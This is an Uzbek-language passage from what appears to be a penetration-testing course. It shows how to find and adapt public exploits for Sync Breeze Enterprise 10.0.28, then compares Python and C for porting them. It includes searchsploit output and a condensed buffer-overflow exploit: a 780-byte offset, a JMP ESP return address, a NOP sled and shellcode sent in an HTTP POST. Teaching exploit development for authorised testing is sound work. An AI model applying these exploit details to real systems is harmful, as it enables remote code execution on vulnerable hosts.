Ushbu misolda biz Sync Breeze Enterprise 10.0.28 ni nishonga olamiz va mavjud ikkita exploit dan biriga e’tibor qaratamiz. Bu bizga target environment uchun ishlaydigan exploit ni taqdim etadi va modification process ni bosqichma-bosqich ko‘rib chiqish imkonini beradi.
Mahsulot va versiya bo‘yicha qidiruv o‘tkazsak, ushbu zaiflik uchun mavjud exploit lardan biri C tilida yozilganligini ko‘ramiz:
kali@kali:~$ **searchsploit "Sync Breeze Enterprise 10.0.28"**
---------------------------------------------------------------- ---------------------
Exploit Title | Path (/usr/share/exploitdb/)
---------------------------------------------------- ---------------------------------
Sync Breeze Enterprise 10.0.28 - Denial of-Service (PoC) | windows/dos/43200.py
Sync Breeze Enterprise 10.0.28 - Remote Buffer Over |
exploits/windows/remote/42928.py
Sync Breeze Enterprise 10.0.28 - Remote Buffer Over |
**exploits/windows/dos/42341.c**
---------------------------------------------------------------- ---------------------
Ro‘yxat 2 - searchsploit yordamida zaif dastur uchun mavjud exploits ni qidirish
Denial of Service (DoS) exploits oddiy dastur crash ga olib keladi va aniq exploitation path ni taqdim etmaydi. Bizda yaxshiroq alternativalar mavjud bo‘lsa, DoS exploits dan imkon qadar qochishimiz kerak, masalan, bizning holatimizda. Buning o‘rniga, oxirgi ikkita yozuvga e’tibor qarataylik.
Zaiflik HTTP server modulida mavjud bo‘lib, u erda buffer overflow holati POST so‘rovida yuzaga keladi. Python exploit kodini to‘liq o‘qib chiqishni tavsiya qilsak-da, exploit skriptining asosiy funksionalligini quyidagi kod yordamida umumlashtirish mumkin:
offset = "A" * 780
JMP_ESP = "\\\\x83\\\\x0c\\\\x09\\\\x10"
shellcode = "\\\\x90"*16 + msf_shellcode
exploit = offset + JMP_ESP + shellcode
Ro‘yxat 3 - Sync Breeze 10.0.28 Exploit ning qisqacha mazmuni
780 offset da biz instruction pointer ni 0x10090c83 xotira manzilida joylashgan JMP ESP ko‘rsatmasi bilan almashtiramiz. Keyin, shellcode ga 16 ta NOP qo‘shamiz. Nihoyat, exploit buffer HTTP POST so‘roviga kiritiladi va yuboriladi.
Endi zaiflik qanday ishlashi va qanday exploit qilinishi haqida ko‘proq ma’lumotga ega bo‘lganimizdan so‘ng, scripting languages (masalan, Python) va compiled language (masalan, C) o‘rtasidagi farqlarni qisqacha ko‘rib chiqamiz.
Ikkala til o‘rtasida ko‘plab farqlar mavjud bo‘lsa-da, biz ikkita asosiy farqqa e’tibor qaratamiz, ular bizga ta’sir qiladi: memory management va string operations.
Birinchi muhim farq shundaki, scripting languages interpreter orqali ishlaydi va mustaqil executable fayl yaratish uchun compile qilinmaydi. Scripting languages interpreter ni talab qilganligi sababli, Python o‘rnatilmagan muhitda Python skriptini ishga tushira olmaymiz. Bu, ayniqsa, Python oldindan o‘rnatilmagan muhitda ishlaydigan mustaqil exploit (masalan, local privilege escalation) kerak bo‘lsa, bizni cheklashi mumkin.
<aside> 💡
Alternativa sifatida, PyInstaller ni ko‘rib chiqishimiz mumkin, u Python dasturlarini turli target operating systems uchun mustaqil executables ga qadoqlaydi. Ammo, exploit kodining nozik jihatlari tufayli, kodni qo‘lda ko‘chirishni tavsiya qilamiz.
</aside>
Python va C o‘rtasidagi yana bir farq shundaki, Python kabi scripting language da string larni birlashtirish juda oson va odatda ikkita string ni qo‘shish shaklida amalga oshiriladi:
kali@kali:~$ **python**
...
>>> **string1 = "This is"**
>>> **string2 = " a test"**
>>> **string3 = string1 + string2**
>>> **print(string3)
This is a test**
Ro‘yxat 4 - Python’da string concatenation misoli
Bunday tarzda string larni birlashtirish C kabi dasturlash tilida ruxsat etilmaydi.
C da yozilgan dasturlarni tuzatish Python’da yozilganlarga nisbatan ko‘proq ehtiyotkorlikni talab qiladi. Biz buni C da qanday qilishni o‘rganamiz, chunki bu penetration test engagement paytida bizga foydali bilimlar beradi.